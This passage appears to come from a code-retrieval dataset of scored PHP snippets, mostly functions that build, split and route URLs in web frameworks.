$flags))\n\t\t\t{\n\t\t\t\tif (isset($url['query']))\t$url['query']\t.= '&' . $parts['query'];\n\t\t\t\telse\t\t\t\t\t\t$url['query']\t= $parts['query'];\n\t\t\t}\n\t\t}\n\n\t\t// Strips all the applicable sections of the URL\n\t\tif(HTTP_URL_STRIP_USER & $flags)\t\tunset($url['user']);\n\t\tif(HTTP_URL_STRIP_PASS & $flags)\t\tunset($url['pass']);\n\t\tif(HTTP_URL_STRIP_PORT & $flags)\t\tunset($url['port']);\n\t\tif(HTTP_URL_STRIP_PATH & $flags)\t\tunset($url['path']);\n\t\tif(HTTP_URL_STRIP_QUERY & $flags)\t\tunset($url['query']);\n\t\tif(HTTP_URL_STRIP_FRAGMENT & $flags)\tunset($url['fragment']);\n\n\t\t// Store the new associative array in $new_url\n\t\t$new_url\t= $url;\n\n\t\t// Combine the new elements into a string and return it\n\t\treturn\n\t\t\t ((isset($url['scheme'])) ? $url['scheme'] . '://' : '')\n\t\t\t.((isset($url['user'])) ? $url['user'] . ((isset($url['pass'])) ? ':' . $url['pass'] : '') .'@' : '')\n\t\t\t.((isset($url['host'])) ? $url['host'] : '')\n\t\t\t.((isset($url['port'])) ? ':' . $url['port'] : '')\n\t\t\t.((isset($url['path'])) ? $url['path'] : '')\n\t\t\t.((isset($url['query'])) ? '?' . $url['query'] : '')\n\t\t\t.((isset($url['fragment'])) ? '#' . $url['fragment'] : '')\n\t\t;\n\t}", "title": "" }, { "docid": "119af9b6ceacaa42d6ae9584a4cff162", "score": "0.56345147", "text": "protected function _assembleUrl(array $params){\n\n $params = array_merge($params, $this->_linkRouter['defaultParams']);\n $router = Zend_Controller_Front::getInstance()->getRouter();\n $url = $router->assemble($params, $this->_linkRouter['name'], true);\n //@TODO check if there is any problem concatanating _baseUrl and $url\n //$url = $this->_baseUrl . $url;\n return $url;\n }", "title": "" }, { "docid": "23377f354eec87418ef9942ddb4c70e5", "score": "0.56252915", "text": "private function splitUrl()\n {\n\t\t// Checar se a url foi setada\n if (isset($_GET['url'])) {\n\n // Quebrar a URL\n $url = trim($_GET['url'], '/');\n $url = filter_var($url, FILTER_SANITIZE_URL);\n $url = explode('/', $url);\n\n // Coloque partes do URL nas propriedades correspondentes\n // A propósito, a sintaxe aqui é apenas uma forma curta de if/else, chamado \"Operador Ternário\"\n // @see http://davidwalsh.name/php-shorthand-if-else-ternary-operators\n $this->urlController = isset($url[0]) ? $url[0] : null;\n $this->urlAction = isset($url[1]) ? $url[1] : 'index';// era null\n\n // Remova o controller e o action da URL dividida\n unset($url[0], $url[1]);\n\n // Rebase as chaves do array e armazene os parâmetros da URL\n $this->urlParams = array_values($url);\n\n /* == Para DEBUGGING descomente as linhas abaixo caso encontre algum problema com a URL == */\n // echo 'Controller: ' . ucfirst($this->urlController) . '<br>';\n // echo 'Action: ' . $this->urlAction . '<br>';\n // echo 'Parameters: ' . print_r($this->urlParams, true) . '<br>';\n }\n }", "title": "" }, { "docid": "90b82176dbe744cc82255a4e824ebfbb", "score": "0.5575135", "text": "private function generate_url($params) {\n $s = ($_SERVER['HTTPS'] == 'on') ? 's' : '';\n $protocol = $this->strleft(strtolower($_SERVER['SERVER_PROTOCOL']), '/') . $s;\n $port = (($_SERVER['SERVER_PORT'] == '80' && $_SERVER['HTTPS'] != 'on') ||\n ($_SERVER['SERVER_PORT'] == '443' && $_SERVER['HTTPS'] == 'on')) ? \n '' : (':' .$_SERVER['SERVER_PORT']);\n $path = $this->strleft($_SERVER['REQUEST_URI'], '?');\n $parsed_params = '';\n $delm = '?';\n foreach (array_reverse($params) as $key => $val) {\n if (!empty($val)) {\n $parsed_key = $key[0] == '_' ? $key : '_' . $key;\n $parsed_params .= $delm . urlencode($parsed_key) . '=' . urlencode($val);\n $delm = '&';\n }\n }\n return $protocol . '://' . $_SERVER['SERVER_NAME'] . $port . $path . $parsed_params;\n }", "title": "" }, { "docid": "eaacd4df84a1af821a7431d83f3e8542", "score": "0.55445564", "text": "function build_url($base, $items, $s=NULL) {\n\tglobal $CONFIG;\n\n\tif (!is_array($items))\n\t\treturn false;\n\t\n\tif (!is_numeric($s))\n\t\t$s = $CONFIG['time_range']['default'];\n\n\t$i=0;\n\tforeach ($items as $key => $value) {\n\t\t# don't include empty values\n\t\tif ($value == 'NULL')\n\t\t\tcontinue;\n\n\t\t$base .= sprintf('%s%s=%s', $i==0 ? '?' : '&', $key, $value);\n\t\t$i++;\n\t}\n\tif (!isset($items['s']))\n\t\t$base .= '&s='.$s;\n\n\treturn $base;\n}", "title": "" }, { "docid": "3bcc233c2b67e2060aea3515f7032ed4", "score": "0.5536112", "text": "public static function buildUrl($baseUrl, array $parts = [])\n {\n $url = $baseUrl;\n\n foreach ($parts as $part) {\n if (strpos($part, '/') !== false) {\n @list(,$part) = explode('/', $part);\n }\n\n $url .= '/' . rawurlencode($part);\n }\n\n return $url;\n }", "title": "" }, { "docid": "07519f96fe0268babc56f89776b2e628", "score": "0.55346143", "text": "function url_for($params = null)\n{\n $paths = array();\n $params = func_get_args();\n $GET_params = array();\n foreach($params as $param)\n {\n if(is_array($param))\n {\n $GET_params = array_merge($GET_params, $param);\n continue;\n }\n if(filter_var_url($param))\n {\n $paths[] = $param;\n continue;\n }\n $p = explode('/',$param);\n foreach($p as $v)\n {\n if($v != \"\") $paths[] = str_replace('%23', '#', rawurlencode($v));\n }\n }\n\n $path = rtrim(implode('/', $paths), '/');\n \n if(!filter_var_url($path)) \n {\n # it's a relative URL or an URL without a schema\n $base_uri = option('base_uri');\n $path = file_path($base_uri, $path);\n }\n \n if(!empty($GET_params))\n {\n $is_first_qs_param = true;\n $path_as_no_question_mark = strpos($path, '?') === false;\n \n foreach($GET_params as $k => $v)\n {\n $qs_separator = $is_first_qs_param && $path_as_no_question_mark ? \n '?' : '&amp;'; \n $path .= $qs_separator . rawurlencode($k) . '=' . rawurlencode($v);\n $is_first_qs_param = false;\n }\n }\n \n return $path;\n}", "title": "" }, { "docid": "d85e2fb5fb68e22a3f5dadae9ea9e3a0", "score": "0.5521728", "text": "private function splitUrl() {\n if (isset($_GET['url'])) {\n\n // split URL\n $url = rtrim($_GET['url'], '/');\n $url = filter_var($url, FILTER_SANITIZE_URL);\n $url = explode('/', $url);\n\n // Put URL parts into according properties\n // By the way, the syntax here if just a short form of if/else, called \"Ternary Operators\"\n // http://davidwalsh.name/php-shorthand-if-else-ternary-operators\n $this->url_controller = (isset($url[0]) ? $url[0] : null);\n $this->url_action = (isset($url[1]) ? $url[1] : null);\n $this->url_parameter_1 = (isset($url[2]) ? $url[2] : null);\n $this->url_parameter_2 = (isset($url[3]) ? $url[3] : null);\n $this->url_parameter_3 = (isset($url[4]) ? $url[4] : null);\n }\n }", "title": "" }, { "docid": "bfd50cdf9c70fabca3a3b379a73f49ce", "score": "0.5493331", "text": "private function splitUrl() {\n if (isset($_GET['url'])) {\n // split URL\n $url = trim($_GET['url'], '/');\n $url = filter_var($url, FILTER_SANITIZE_URL);\n $url = explode('/', $url);\n $this->url_controller = isset($url[0]) ? ucwords($url[0]) . 'Controller' : null;\n $this->url_action = isset($url[1]) ? $url[1] . 'Action' : null;\n unset($url[0], $url[1]);\n $this->url_params = array_values($url);\n\n }\n }", "title": "" }, { "docid": "84060851d35fa284c9bb6c41a985a068", "score": "0.5472349", "text": "private function splitURL()\n {\n if (isset($_GET['url'])) {\n\n // Split URL\n $url = trim($_GET['url'], '/');\n $url = filter_var($url, FILTER_SANITIZE_URL);\n $url = explode('/', $url);\n\n // Set active controller & action\n $this->activeController = (isset($url[0]) ? $url[0] : null);\n $this->activeAction = (isset($url[1]) ? $url[1] : null);\n\n // Remove active controller & action from URL\n unset($url[0], $url[1]);\n\n // Set URL params\n $this->activeParams = array_values($url);\n }\n }", "title": "" }, { "docid": "dfc9a6eb1cc9a5ae0aeb01ea314348ca", "score": "0.54671144", "text": "function parse_routes()\n\t{\n\t\t/*\n\t\t|----------------------------------------------\n\t\t| Turn the segment array into a URI string\n\t\t|----------------------------------------------\n\t\t*/\n\n\t\t$uri = implode('/', $this->segments);\n\t\t$num = count($this->segments);\n\n\t\t/*\n\t\t|----------------------------------------------\n\t\t| Is there a literal match? If so we're done\n\t\t|----------------------------------------------\n\t\t*/\n\n\t\tif (isset($this->routes[$uri]))\n\t\t{\n\t\t\t$this->compile_segments(explode('/', $this->routes[$uri]), TRUE);\t\t\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t/*\n\t\t|----------------------------------------------\n\t\t| Loop through the route array looking for wildcards\n\t\t|----------------------------------------------\n\t\t*/\t\t\n\t\tforeach ($this->routes as $key => $val)\n\t\t{\n\t\t\tif (count(explode('/', $key)) != $num)\n\t\t\t\tcontinue;\n\t\t\n\t\t\tif (preg_match(\"|\".str_replace(':any', '.+', str_replace(':num', '[0-9]+', $key)).\"|\", $uri))\n\t\t\t{\n\t\t\t\t$this->compile_segments(explode('/', $val), TRUE);\t\t\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\t\n\t}", "title": "" }, { "docid": "a533c237de6ddc430ff0a6fda0f65d72", "score": "0.54623336", "text": "function getUriSegment($n)\n{\n $d = getUriSegments();\n return count($d)>0&&count($d)>=($n-1)?$d[$n]:'';\n}", "title": "" }, { "docid": "d5ba22a313cdb818ff77698820183934", "score": "0.54620355", "text": "static function link() {\n\t\t$parts = func_get_args();\n\t\treturn Director::baseURL() . implode(\"/\",$parts) . (sizeof($parts) > 2 ? \"\" : \"/\");\n\t}", "title": "" }, { "docid": "a4085aba484917de2b42c75305c633cd", "score": "0.5449445", "text": "function MlmParseRoute($segments)\n{\n\n}", "title": "" }, { "docid": "aff80fbc55c7e1d108c70ae074912f73", "score": "0.5436189", "text": "public static function splitUrl() {\n\n $page = self::$url;\n\n self::execute();\n\n if (self::$target_end == false) {\n if (isset(self::$params['slug'])) {\n $dbparams = self::getURLpage(self::$params['slug']);\n\n if ($dbparams != false) {\n\n self::$params[\"data_id\"] = $dbparams->data_id;\n self::$params[\"page\"] = $page;\n\n $page = $dbparams->template;\n }\n\n }\n\n self::targetMatch($page);\n }\n\n self::loadMetodGET();\n }", "title": "" }, { "docid": "1aee1bd8b2f168f44fb4d9607a7ae1bf", "score": "0.541804", "text": "private static function buildSEFURL($params, $complete)\n {\n $return = [];\n $return[] = $params['profileAlias'];\n switch ($params['view']) {\n case 'content':\n if (!empty($params['id'])) {\n $return[] = THM_GroupsHelperContent::getAlias($params['id']);\n }\n break;\n case 'content_manager':\n $return[] = JText::_('COM_THM_GROUPS_CONTENT_MANAGER_ALIAS');\n break;\n case 'profile':\n if (!empty($params['format'])) {\n $return[] = $params['format'];\n }\n break;\n case 'profile_edit':\n $return[] = JText::_('COM_THM_GROUPS_EDIT_ALIAS');\n break;\n }\n\n if (!$complete) {\n return $return;\n }\n\n return URI::base() . implode('/', $return);\n }", "title": "" }, { "docid": "15b96481ba1d7304bb25b301274d2bc1", "score": "0.54120255", "text": "abstract public function joinTokenUrl();", "title": "" }, { "docid": "80ba2cb5cb69b72c4261cbed332c88df", "score": "0.5388402", "text": "function url($path = \"\", $params = array()) {\n if (is_array($path)) {\n $path = implode('/', array_map('rawurlencode', $path));\n }\n $stack = array();\n foreach (explode('/', $this->href_base . $path) as $name) {\n if ($name == '..' && count($stack) > 0) {\n array_pop($stack);\n } else {\n $stack[] = $name;\n }\n }\n $normalised_path = implode('/', $stack);\n $assoc = array();\n $indexed = array();\n foreach ($params as $key => $value) {\n if (is_int($key)) {\n $indexed[] = rawurlencode($value);\n } else {\n $assoc[$key] = $value;\n }\n }\n $querystring = \"\";\n if (count($indexed) > 0) {\n $querystring = implode('&', $indexed);\n }\n $assoc_string = http_build_query($assoc);\n if ($assoc_string) {\n if ($querystring) {\n $querystring .= '&';\n }\n $querystring .= $assoc_string;\n }\n return\n ($normalised_path === $this->href_base ? ($normalised_path . '/') : $normalised_path)\n . ($querystring ? ('?' . $querystring) : '');\n }", "title": "" }, { "docid": "a4f7fdc8b67f3fdca8a0023ea680fff4", "score": "0.53771186", "text": "private function make_url($url, $params)\n\t{\n\t\tif(!empty($params) && $params)\n\t\t{\n\t\t\tforeach($params as $k=>$v)\n\t\t\t\t$kv[] = \"$k=$v\";\n\n\t\t\t$url_params = str_replace(\" \",\"+\",implode('&',$kv));\n\t\t\t$url = trim($url) . '?' . $url_params;\n\t\t}\n\n\t\treturn $url;\n\t}", "title": "" }, { "docid": "476711ea103d825a0533e2eb1bfbf5c7", "score": "0.5332405", "text": "public static function generateQueryString(array $parts);", "title": "" }, { "docid": "acc03a6402bbdce8120e4f50198efb64", "score": "0.53311837", "text": "public function getUrl($params) {\n $path = $this->path;\n //e.g.: /path/:id\n foreach ($params as $id => $v) {\n $path = str_replace(':'.$id, $v, $path);\n }\n return $path;\n }", "title": "" }, { "docid": "3d13b19c530699e817d02e86d4a067ab", "score": "0.53302807", "text": "function split_url() {\n\tglobal $_GET;\n\t\n\t$url = $_GET['url'];\n\t$url = split('/', $url);\n\t\n\t$key = array('lang', 'mod', 'func', 'p', 'val', 'q');\n\t$eval = array('strlen($val) == 2', 'true', 'true', \"strpos('pag-')\", 'true', 'true');\n\t\n\tforeach ($url as $v) {\n\t\tif (strpos($v, '_')) {\n\t\t\t$v = split('_', $v);\n\t\t\t\n\t\t\tforeach ($v as $val) {\n\t\t\t\tif (eval($eval[0])) {\n\t\t\t\t\t$_GET[$key[0]] = $v;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tarray_shift($key);\n\t\t\t\tarray_shift($eval);\n\t\t\t}\n\t\t} else {\n\t\t\t$val = $v;\n\t\t\tif (eval($eval[0])) {\n\t\t\t\t$_GET[$key[0]] = $v;\n\t\t\t}\n\t\t\t\n\t\t\tarray_shift($key);\n\t\t\tarray_shift($eval);\n\t\t}\n\t}\n\t\n}", "title": "" }, { "docid": "f959e693a2c5c238f092a725490865af", "score": "0.5325901", "text": "private function buildURL($operation, $params = [], $required = [], $optional = [], $raws = [])\n {\n $url = $this->startUrl($operation);\n\n foreach ($required as $key)\n {\n $this->checkParamIsPresent($key, $params);\n\n $url .= '&' . $key . '=' . urlencode($params[$key]);\n }\n\n foreach ($optional as $key)\n {\n if (isset($params[$key]))\n {\n $url .= '&' . $key . '=' . urlencode($params[$key]);\n }\n }\n\n foreach ($raws as $raw)\n {\n $url .= $raw;\n }\n\n return $url;\n }", "title": "" }, { "docid": "6d0e98ba32ce0f77585322a1236da4ad", "score": "0.5291259", "text": "function formatUrl($url,$params){ \n\t\tif(!parse_url($url)){\n\t\t\treturn $url;\n\t\t}\n\t\t$urlMap = parse_url($url);\n\t\treturn $urlMap['scheme'].'://'.$urlMap['host'].$urlMap['path'];\n\t}", "title": "" }, { "docid": "9ecfc0d07d30b65eec4c409865209547", "score": "0.52643764", "text": "private function splitUrl()\n {\n if (isset($_GET['url'])) {\n\n // split URL\n $url = rtrim($_GET['url'], '/');\n $url = filter_var($url, FILTER_SANITIZE_URL);\n $url = explode('/', $url);\n\n // Put URL parts into according properties\n // By the way, the syntax here is just a short form of if/else, called \"Ternary Operators\"\n // @see http://davidwalsh.name/php-shorthand-if-else-ternary-operators\n $this->url_controller = (isset($url[0]) ? $url[0] : null);\n $this->url_action = (isset($url[1]) ? $url[1] : null);\n $this->url_parameter_1 = (isset($url[2]) ? $url[2] : null);\n $this->url_parameter_2 = (isset($url[3]) ? $url[3] : null);\n $this->url_parameter_3 = (isset($url[4]) ? $url[4] : null);\n\n // for debugging. uncomment this if you have problems with the URL\n // echo 'Controller: ' . $this->url_controller . '<br />';\n // echo 'Action: ' . $this->url_action . '<br />';\n // echo 'Parameter 1: ' . $this->url_parameter_1 . '<br />';\n // echo 'Parameter 2: ' . $this->url_parameter_2 . '<br />';\n // echo 'Parameter 3: ' . $this->url_parameter_3 . '<br />';\n }\n }", "title": "" }, { "docid": "bc742c592240da9a3170cd48d99907cf", "score": "0.52636033", "text": "function ull_url_for($url = array())\n{\n if (is_array($url)) \n {\n $params = _ull_reqpass_initialize($url); \n $url = _ull_reqpass_build_url($params);\n }\n \n $url = url_for($url);\n \n // \"un-escape\" \"reqpass\" array syntax with square braces\n // example: \"filter[search]\"\n // TODO: this should be patched in url_for...\n $url = str_replace('%5B', '[', $url);\n $url = str_replace('%5D', ']', $url);\n\n return $url;\n}", "title": "" }, { "docid": "262a1fb811d4541070360d4e76540b5a", "score": "0.525703", "text": "public static function url_for($options = array()) {\n\t\t$url = '';\n\t\t$only_path = isset($options['only_path']) ? $options['only_path'] : false;\n\t\tif(!$only_path) {\n\t\t\tif(isset($options['protocol'])) {\n\t\t\t\t$url .= $options['protocol'];\n\t\t\t} else {\n\t\t\t\t$url .= 'http';\n\t\t\t}\n\t\t\tif(strpos($url, '://') === false) {\n\t\t\t\t$url .= '://';\n\t\t\t}\n\t\t\tif(empty($options['host'])) {\n\t\t\t\t$options['host'] = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';\n\t\t\t}\n\t\t\t$url .= $options['host'];\n\t\t\tif(isset($options['port']) && is_numeric($options['port'])) {\n\t\t\t\t$url .= ':' . $options['port'];\n\t\t\t}\n\t\t}\n\t\t$trailing_slash = isset($options['trailing_slash']) ? $options['trailing_slash'] : false;\n\t\t$anchor = isset($options['anchor']) ? '#' . $options['anchor'] : '';\n\t\t\tforeach(array('protocol', 'host', 'port', 'only_path', 'trailing_slash', 'anchor') as $k) {\n\t\t\tif(isset($options[$k])) {\n\t\t\t\tunset($options[$k]);\n\t\t\t}\n\t\t}\n\t\t$route_set = RouteSet :: get_reference();\n\t\t$path = $route_set->generate($options);\n\t\t$path = $trailing_slash ? preg_replace('/\\/*(\\?|\\z)/', '/\\1', $path, 1) : $path;\n\t\t$url .= $path . $anchor;\n\t\treturn $url;\n\t}", "title": "" }, { "docid": "44d9facdd49e481f5817ba8cc2f6464a", "score": "0.52507395", "text": "public function combineUrl($actions, $params)\n {\n $nestedAction = array();\n\n foreach ($actions as $action => $key)\n {\n if (is_string($action)) {\n $nestedAction[] = $action . '/' . $key;\n } else {\n $nestedAction[] = $key;\n }\n }\n\n $nestedAction = implode('/', $nestedAction);\n $path = self::API_BASE_URI . '/' . $nestedAction;\n\n /** @var Zend_Uri_Http $url */\n $url = Zend_Uri_Http::fromString($path);\n $url->setQuery($params);\n\n return $url->__toString();\n }", "title": "" }, { "docid": "a0283d53f871a97102820560ae0f1bcd", "score": "0.52500135", "text": "function CitruscartParseRoute($segments)\r\n{\r\n return CitruscartHelperRoute::parse($segments);\r\n}", "title": "" }, { "docid": "e9faceb2c988cba51d1056d9792be136", "score": "0.52339315", "text": "function formatUrl($url, $params) {\n if (!parse_url($url)) {\n return $url;\n }\n $urlMap = parse_url($url);\n return $urlMap['scheme'] . '://' . $urlMap['host'] . $urlMap['path'];\n }", "title": "" }, { "docid": "427e60ecf29ab1e45971aa7015b91632", "score": "0.522274", "text": "public function uri(array $params = NULL)\n {\n $uri = parent::uri($params);\n\n /**\n * Recursively compiles a portion of a URI specification by replacing\n * the specified parameters and any optional parameters that are needed.\n *\n * @param string $portion Part of the URI specification\n * @param boolean $required Whether or not parameters are required (initially)\n * @return array Tuple of the compiled portion and whether or not it contained specified parameters\n */\n $compile = function ($portion, $required, $defaults) use (&$compile, $params) {\n $missing = array();\n\n $pattern = '#(?:' . Route::REGEX_KEY . '|' . Route::REGEX_GROUP . ')#';\n $result = preg_replace_callback($pattern, function ($matches) use (&$compile, $defaults, &$missing, $params, &$required) {\n if ($matches[0][0] === '<')\n {\n // Parameter, unwrapped\n $param = $matches[1];\n\n if (isset($params[$param]))\n {\n // This portion is required when a specified\n // parameter does not match the default\n $required = ($required OR !isset($defaults[$param]) OR $params[$param] !== $defaults[$param]);\n\n // Add specified parameter to this result\n return $params[$param];\n }\n\n // Add default parameter to this result\n if (isset($defaults[$param]))\n return $defaults[$param];\n\n // This portion is missing a parameter\n $missing[] = $param;\n }\n else\n {\n // Group, unwrapped\n $result = $compile($matches[2], FALSE, $defaults);\n\n if ($result[1])\n {\n // This portion is required when it contains a group\n // that is required\n $required = TRUE;\n\n // Add required groups to this result\n return $result[0];\n }\n\n // Do not add optional groups to this result\n }\n }, $portion);\n\n if ($required AND $missing)\n {\n throw new Kohana_Exception(\n 'Required route parameter not passed: :param', array(':param' => reset($missing))\n );\n }\n\n return array($result, $required);\n };\n\n $segments = array();\n foreach (self::$_preroutes as $preroute)\n {\n\n list($segment) = $compile($preroute['segment'], TRUE, $preroute['defaults']);\n \n $segments[] = $segment;\n }\n \n $segment = implode('', $segments);\n \n return $segment . $uri;\n \n }", "title": "" }, { "docid": "b6a293bd5a87d01dd095bea834c6357a", "score": "0.5218177", "text": "public static function generateUrl(array $path)\n {\n $path = array_map(function ($segment) {\n return static::formatResource($segment ?: '');\n }, $path);\n\n $path = array_merge([static::root()], [config('luminary.location')], $path);\n\n return implode('/', array_filter($path));\n }", "title": "" }, { "docid": "58942102a18f9a82e6ff8670cf0ed4cb", "score": "0.5215279", "text": "function explodeArrayForURL($array){\n $params = array();\n foreach($array as $k => $v){\n if($v) $params[] .= urlencode($k) . '=' . urlencode($v);\n }\n\n return htmlentities(implode('&',$params));\n}", "title": "" }, { "docid": "3adfe115a0d7ae0214b5dfe1908245f2", "score": "0.5212125", "text": "public function url_encode() {\n\t\t$r = explode('/', $this->s);\n\t\t$r = array_map('rawurlencode', $r);\n\t\treturn new self(implode('/', $r));\n\t}", "title": "" }, { "docid": "c8ce7c951a9b84350fd7ef3ffa6bef6c", "score": "0.5211933", "text": "function convertToBeautyURL($url){\n $title_pattern = '/title/i';\n $page_pattern = '/page/i';\n if(preg_match($title_pattern, $url) && preg_match($page_pattern, $url)){\n $text = explode('?',$url);\n $params = explode('&',$text[1]);\n $result = array();\n $result[] = $text[0];\n foreach ($params as $param){\n $value = explode('=',$param);\n $result[] = $value[1];\n }\n $temp = implode('/',$result);\n return $temp;\n }\n return $url;\n}", "title": "" }, { "docid": "15f535c35734b678e17224d00fbdd0f7", "score": "0.5207648", "text": "public function url_for(array $params, $full = false, $force_secure = false, $options = array())\r\n\t{\r\n\t\t// use the default route if no option supplied\r\n\t\r\n\t\tif ( count($options) == 0 )\r\n\t\t{\r\n\t\t\t$options[\"name\"] = \"default\";\r\n\t\t}\r\n\t\r\n\t\tif ( null === $this->router )\r\n\t\t{\r\n\t\t\treturn '';\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\t// this only returns the route, no querystring\r\n\t\t\r\n\t\t$url = $this->router->assemble($params, $options);\r\n\t\t\r\n\t\t// remove trailing '/index' from generated URLs.\r\n\t\t\r\n\t\tif ((6 <= strlen($url)) && '/index' == substr($url, -6))\r\n\t\t{\r\n\t\t\t$url = substr($url, 0, strlen($url) - 6);\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\t// append query string\r\n\t\t\r\n\t\t$query_string = array();\r\n\t\t\r\n\t\t// figure out which of our params matched the route\r\n\t\t\r\n\t\t$request = new Request();\r\n\t\t$request->setUri($url);\r\n\t\t\r\n\t\t$route_match = $this->router->match($request);\r\n\t\t\r\n\t\t// remove those from the supplied params\r\n\t\t\r\n\t\tif ( $route_match instanceof RouteMatch )\r\n\t\t{\r\n\t\t\t$in_route = array_keys($route_match->getParams());\r\n\t\t\t\r\n\t\t\tforeach ( $params as $key => $value )\r\n\t\t\t{\r\n\t\t\t\tif ( ! in_array($key, $in_route) )\r\n\t\t\t\t{\r\n\t\t\t\t\t$query_string[$key] = $value;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$query_string = $params;\r\n\t\t}\r\n\t\t\r\n\t\t// take any remaining as the query string\r\n\t\t\r\n\t\tif ( count($query_string) > 0 )\r\n\t\t{\r\n\t\t\t$url .= \"?\";\r\n\t\t\t\r\n\t\t\t$x = 0;\r\n\t\t\t\r\n\t\t\tforeach ( $query_string as $name => $value )\r\n\t\t\t{\r\n\t\t\t\tif ( $value == \"\" )\r\n\t\t\t\t{\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif ( $x > 0 ) // first param doesn't need & prefix\r\n\t\t\t\t{\r\n\t\t\t\t\t$url .= '&';\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t// value is array\r\n\t\t\t\t\r\n\t\t\t\tif ( is_array( $value ) )\r\n\t\t\t\t{\r\n\t\t\t\t\tforeach( $value as $v )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$url .= $name . '=' . urlencode($v) . '&';\r\n\t\t\t\t\t} \r\n\t\t\t\t}\r\n\t\t\t\telse // single value\r\n\t\t\t\t{\r\n\t\t\t\t\t$url .= $name . '=' . urlencode($value);\r\n\t\t\t\t}\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t$x++;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// is it supposed to be a full url?\r\n\t\t\r\n\t\tif ( $full == true )\r\n\t\t{\r\n\t\t\t$base = $this->getServerUrl($force_secure);\r\n\t\t\t$url = $base .= $url;\r\n\t\t}\r\n\t\t\r\n\t\treturn $url;\r\n\t}", "title": "" }, { "docid": "336c7fbbb14fdfb7b97105ded94b865d", "score": "0.52070373", "text": "function processURI() {\r\n\tglobal $REQUEST_URI;\t\t\t\t// Define our global variables\r\n\t\t\t\t\t\t\t// \r\n\r\n\t$array = explode(\"/\",$REQUEST_URI);\t\t// Explode the URI using '/'.\r\n\t\r\n\t$num = count($array);\t\t\t\t// How many items in the array?\r\n\t\r\n\t$url_array = array();\t\t\t\t// Init our new array\t\r\n\t\r\n\tfor ($i = 1 ; $i < $num ; $i++) {\t\t// Insert each element from the\r\n\t\t$url_array[\"arg\".$i] = $array[$i];\t// request URI into $url_array\r\n\t}\t\t\t\t\t\t// with a key of argN. We start $i\r\n\t\t\t\t\t\t\t// at 1 because exploding the URI\r\n\t\t\t\t\t\t\t// gives us an empty ref in $array[0] \r\n\t\t\t\t\t\t\t// It's a hacky way of getting round it\r\n\t\t\t\t\t\t\t// *:)\r\n\t\r\n\treturn $url_array;\t\t\t\t// return our new shiny array\r\n}", "title": "" }, { "docid": "b7178de26bd182d9e31fca12262cfcd5", "score": "0.5206734", "text": "function url_append_parameters($url_begin, $url_parameters){\r\n\treturn $url_begin . (strpos($url_begin,\"?\")===false?\"?\":\"&\") . $url_parameters;\r\n}", "title": "" }, { "docid": "be8d39de33448cf3fd1c5aecf16d0714", "score": "0.51831466", "text": "private static function __glueUrl($parsed) {\n\t\tif (!is_array($parsed)) return false;\n\n\t\t$uri = isset ($parsed['scheme'])?$parsed['scheme'].':'.((strtolower($parsed['scheme']) == 'mailto')?'':'//'):'';\n\t\t$uri .= isset ($parsed['user'])?$parsed['user'].($parsed['pass']?':'.$parsed['pass']:'').'@':'';\n\t\t$uri .= isset ($parsed['host'])?$parsed['host']:'';\n\t\t$uri .= isset ($parsed['port'])?':'.$parsed['port']:'';\n\t\t$uri .= isset ($parsed['path'])?$parsed['path']:'';\n\t\t$uri .= isset ($parsed['query'])?'?'.$parsed['query']:'';\n\t\t$uri .= isset ($parsed['fragment'])?'#'.$parsed['fragment']:'';\n\t\treturn $uri;\n\t}", "title": "" }, { "docid": "d41f8274318e61419d5ed3b435e6d88a", "score": "0.51825124", "text": "public function show_original_segments($url){\n //Get Segments\n $path = parse_url($url, PHP_URL_PATH);\n $segments = explode('/', rtrim($path, '/'));\n //Get URL Protocol and Domain \n $parsed_url = parse_url($url);\n $domain = $parsed_url['scheme'].\"://\".$parsed_url['host'];\n\n echo 'Full Path: '.$url.'<br /><br />';\n echo 'Demain: '.$domain.'<br />';\n echo 'Segment 1: '.$segments[1].'<br />';\n echo 'Segment 2: '.$segments[2].'<br />';\n echo 'Segment 3: '.$segments[3].'<br />';\n echo 'Segment 4: '.$segments[4].'<br />';\n echo 'Segment 5: '.$segments[5].'<br />';\n echo 'Segment 6: '.$segments[6].'<br />';\n echo 'Last Segment: '.end($segments).'<br />';\n }", "title": "" }, { "docid": "07aa25b81c6804aedeaa5a2df4407480", "score": "0.5175756", "text": "function fuel_uri_string($from = 0, $to = NULL, $rerouted = FALSE)\n\t{\n\t\t$CI =& get_instance();\n\t\t$fuel_index = fuel_uri_index($from);\n\n\t\tif ($rerouted)\n\t\t{\n\t\t\t$segs = $CI->uri->rsegment_array($fuel_index);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$segs = $CI->uri->segment_array($fuel_index);\n\t\t}\n\t\t$from = fuel_uri_index($from);\n\t\tif (isset($to))\n\t\t{\n\t\t\t$to = fuel_uri_index($to);\n\t\t\tif ($from < $to)\n\t\t\t{\n\t\t\t\t$to = $from;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$to = sizeof($segs);\n\t\t}\n\t\t$segs = array_slice($segs, $from, $to);\n\t\t$uri = implode('/', $segs);\n\t\treturn $uri;\n\t}", "title": "" }, { "docid": "bd050b212c7d7a0003e8d6eae701c22c", "score": "0.51674306", "text": "private function MakeUrl($url,$params){\n\t\tif(!empty($params) && $params){\n\t\t\tforeach($params as $k=>$v) $kv[] = \"$k=$v\";\n\t\t\t$url_params = str_replace(\" \",\"+\",implode('&',$kv));\n\t\t\t$url = trim($url) . '?' . $url_params;\n\t\t}\n\t\treturn $url;\n\t}", "title": "" }, { "docid": "371c2155351e3bd0732aa66474594785", "score": "0.516627", "text": "function HybridAuthParseRoute($segments)\r\n{\r\n return HybridAuthHelperRoute::parse($segments);\r\n}", "title": "" }, { "docid": "0bc5cd0a263b9796db63acd7758fbdd2", "score": "0.51647216", "text": "function site_url($segment='')\n{\n\treturn $url = BASE_URL . URL_INDEX_FILE . 